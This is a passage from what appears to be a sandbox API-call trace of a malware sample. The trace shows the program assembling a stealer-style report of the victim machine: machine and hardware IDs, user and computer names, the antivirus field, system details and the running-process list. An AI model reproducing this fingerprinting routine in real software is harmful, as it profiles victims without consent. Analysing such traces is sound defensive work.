svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- "
[0054.862] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- ", lpString2="series_others.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe"
[0054.862] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe ["
[0054.862] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9c8
[0054.862] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dad8
[0054.862] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.862] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [", lpString2="1996" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996"
[0054.862] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n"
[0054.862] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="fundnorth.exe")) returned 1
[0054.863] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic 